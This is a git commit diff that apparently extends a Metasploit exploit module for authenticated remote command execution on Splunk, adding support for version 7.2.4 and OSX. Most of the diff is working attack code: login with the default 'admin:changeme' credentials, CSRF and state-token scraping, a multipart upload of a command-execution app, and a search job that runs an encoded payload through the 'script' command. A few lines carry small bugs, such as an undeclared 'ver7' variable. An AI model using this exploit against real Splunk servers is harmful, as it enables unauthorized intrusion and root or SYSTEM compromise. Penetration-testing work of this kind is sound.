added splunk 7.2.4 support

master
Matteo Malvica 2019-03-18 09:12:00 +01:00 committed by GitHub
parent 4af2b87a79
commit 7a31fc2d17
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 184 additions and 30 deletions

View File

@ -20,13 +20,15 @@ class MetasploitModule < Msf::Exploit::Remote
role is required. By default, this module uses the credential of "admin:changeme", role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface the default Administrator credential for Splunk. Note that the Splunk web interface
runs as SYSTEM on Windows, or as root on Linux by default. This module has been runs as SYSTEM on Windows, or as root on Linux by default. This module has been
tested successfully against Splunk 5.0, 6.1, and 6.1.1.', tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4.
Version 7.2.4 has been tested successfully against OSX as well',
'Author' => 'Author' =>
[ [
"marcwickenden", # discovery and metasploit module "marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module "sinn3r", # metasploit module
"juan vazquez", # metasploit module "juan vazquez", # metasploit module
"Gary Blosser" # metasploit module updates for Splunk 6.1 "Gary Blosser", # metasploit module updates for Splunk 6.1
"Matteo Malvica" # metasploit module updates for Splunk 7.2.4
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
@ -40,9 +42,27 @@ class MetasploitModule < Msf::Exploit::Remote
'Space' => 1024, 'Space' => 1024,
'DisableNops' => true 'DisableNops' => true
}, },
'Platform' => %w(linux unix win), 'Platform' => %w(linux unix win osx),
'Targets' => 'Targets' =>
[ [
[ 'Splunk >= 7.2.4 / Linux',
{
'Arch' => ARCH_CMD,
'Platform' => %w(linux unix)
}
],
[ 'Splunk >= 7.2.4 / Windows',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
],
[ 'Splunk >= 7.2.4 / OSX',
{
'Arch' => ARCH_CMD,
'Platform' => %w(linux unix)
}
],
[ 'Splunk >= 5.0.1 / Linux', [ 'Splunk >= 5.0.1 / Linux',
{ {
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD,
@ -96,36 +116,55 @@ class MetasploitModule < Msf::Exploit::Remote
# set up some variables for later use # set up some variables for later use
@auth_cookies = '' @auth_cookies = ''
@csrf_form_key = '' @csrf_form_key = ''
@state_token = ''
@splunkweb_csrf_token_8000_id = ''
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below. @csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
@ver7 = false # splunk version 7 boolean
app_name = 'upload_app_exec' app_name = 'upload_app_exec'
p = payload.encoded p = payload.encoded
print_status("Using command: #{p}") print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p) cmd = Rex::Text.encode_base64(p)
# log in to Splunk (if required) # check if the target version is 7.2.4
if target.name.include? "7.2.4"
@ver7 = true
end
do_login do_login
# fetch the csrf token for use in the upload next # fetch the csrf token for use in the upload next
do_get_csrf('/en-US/manager/launcher/apps/local') if @ver7 == true
do_get_state_token('/en-US/manager/appinstall/_upload')
else
do_get_csrf('/en-US/manager/launcher/apps/local')
end
unless disable_upload unless disable_upload
# upload the arbitrary command execution Splunk app tgz # upload the arbitrary command execution Splunk app tgz
do_upload_app(app_name, file_name) if @ver7 == true
do_upload_app_7(app_name, file_name)
else
do_upload_app(app_name, file_name)
end
end end
# get the next csrf token from our new app if @ver7 == false
do_get_csrf("/en-US/app/#{app_name}/flashtimeline") # get the next csrf token from our new app
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
end
# call our command execution function with the Splunk 'script' command # call our command execution function with the Splunk 'script' command
print_status("Invoking script command") print_status("Invoking script command")
res = send_request_cgi( if @ver7 == true
'uri' => '/en-US/api/search/jobs', res = send_request_cgi(
'uri' => '/en-US/splunkd/__raw/servicesNS/admin/search/search/jobs',
'method' => 'POST', 'method' => 'POST',
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified) 'cookie' => "#{@auth_cookies};", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' => 'headers' =>
{ {
'X-Requested-With' => 'XMLHttpRequest', 'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified) 'X-Splunk-Form-Key' => @splunkweb_csrf_token_8000_id # Version 6 ignores extra headers (verified)
}, },
'vars_post' => 'vars_post' =>
{ {
@ -143,11 +182,44 @@ class MetasploitModule < Msf::Exploit::Remote
'timeFormat' => "%s.%Q" 'timeFormat' => "%s.%Q"
} }
) )
else
res = send_request_cgi(
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
},
'vars_post' =>
{
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'status_buckets' => "300",
'namespace' => "#{app_name}",
'ui_dispatch_app' => "#{app_name}",
'ui_dispatch_view' => "flashtimeline",
'auto_cancel' => "100",
'wait' => "0",
'required_field_list' => "*",
'adhoc_search_level' => "smart",
'earliest_time' => "0",
'latest_time' => "",
'timeFormat' => "%s.%Q"
}
)
end
if return_output if return_output
if ver7 == true
res.body.match('sid.*')
job_id_blob = Regexp.last_match(0)
job_id_blob2 = job_id_blob.split('>')[1]
job_id = job_id_blob2.split('<')[0]
else
res.body.match(/data":\ "([0-9.]+)"/) res.body.match(/data":\ "([0-9.]+)"/)
job_id = Regexp.last_match(1) job_id = Regexp.last_match(1)
end
# wait a short time to let the output be produced # wait a short time to let the output be produced
print_status("Waiting for #{command_output_delay} seconds to retrieve command output") print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
select(nil, nil, nil, command_output_delay) select(nil, nil, nil, command_output_delay)
@ -231,25 +303,48 @@ class MetasploitModule < Msf::Exploit::Remote
if !res if !res
fail_with(Failure::Unreachable, "No response") fail_with(Failure::Unreachable, "No response")
elsif res.code != 200
fail_with(Failure::Unreachable, "Authentication failed")
elsif @ver7 == true
splunkweb_csrf_token_8000_port = ''
@splunkweb_csrf_token_8000_id = ''
splunkd_8000_port = ''
splunkd_8000_id = ''
#puts res
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /splunkweb_csrf_token_8000/
splunkweb_csrf_token_8000_port = v.split('=')[0]
@splunkweb_csrf_token_8000_id = v.split('=')[1]
elsif v.split('=')[0] =~ /splunkd_8000/ # regex as the full name is something like splunkweb_csrf_token_8000
splunkd_8000_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
splunkd_8000_id = v.split('=')[1]
end
end
@auth_cookies = "session_id_8000=37305a4fb182fadd28a1591b64a0b22b0765159e;#{splunkweb_csrf_token_8000_port}=#{@splunkweb_csrf_token_8000_id};#{splunkd_8000_port}=#{splunkd_8000_id}; splunkweb_uid=30A93112-7681-4C0D-B1F6-17CAB1FA2735;login=true"
end
else else
session_id_port = '' session_id_port = ''
session_id = '' session_id = ''
res.get_cookies.split(';').each do |c| res.get_cookies.split(';').each do |c|
c.split(',').each do |v| c.split(',').each do |v|
if v.split('=')[0] =~ /session_id/ if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0] session_id_port = v.split('=')[0]
session_id = v.split('=')[1] session_id = v.split('=')[1]
end
end end
end end
end @auth_cookies = "#{session_id_port}=#{session_id}"
@auth_cookies = "#{session_id_port}=#{session_id}"
end end
end end
def do_upload_app(app_name, file_name) def do_upload_app(app_name, file_name)
archive_file_name = ::File.basename(file_name) archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}") print_status("Uploading file #{archive_file_name}")
file_data = ::File.open(file_name, "rb") { |f| f.read } file_data = ::File.read(file_name)
boundary = '--------------' + rand_text_alphanumeric(6) boundary = '--------------' + rand_text_alphanumeric(6)
@ -286,6 +381,48 @@ class MetasploitModule < Msf::Exploit::Remote
end end
end end
# version 7.2.x only
def do_upload_app_7(app_name, file_name)
archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}")
file_data = ::File.read(file_name)
boundary = '---------------------------' + rand_text_numeric(29)
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"state\"\r\n"
data << "\r\n#{@state_token}\r\n"
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n"
data << "\r\n#{@splunkweb_csrf_token_8000_id}\r\n"
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
data << "Content-Type: application/x-compressed-tar\r\n\r\n"
data << file_data
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}--\r\n"
res = send_request_cgi(
{
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => "#{@auth_cookies};",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)
if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
print_good("#{app_name} successfully uploaded")
else
fail_with(Failure::Unknown, "Error uploading")
end
end
def do_get_csrf(uri) def do_get_csrf(uri)
print_status("Fetching csrf token from #{uri}") print_status("Fetching csrf token from #{uri}")
res = send_request_cgi( res = send_request_cgi(
@ -306,10 +443,27 @@ class MetasploitModule < Msf::Exploit::Remote
end end
end end
end end
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
end end
# version 7.2.x only
def do_get_state_token(uri)
print_status("Fetching state token from #{uri}")
res = send_request_cgi(
'uri' => uri,
'method' => 'GET',
'cookie' => @auth_cookies
)
#puts res
res.body.match('name=\"state\" value="(.*)"') # Version 5
@state_token = Regexp.last_match(1)
unless @state_token
fail_with(Failure::Unknown, "state token form Key not found") unless @state_token
end
end
def fetch_job_output(job_id) def fetch_job_output(job_id)
# fetch the output of our job id as csv for easy parsing # fetch the output of our job id as csv for easy parsing
print_status("Fetching job_output for id #{job_id}") print_status("Fetching job_output for id #{job_id}")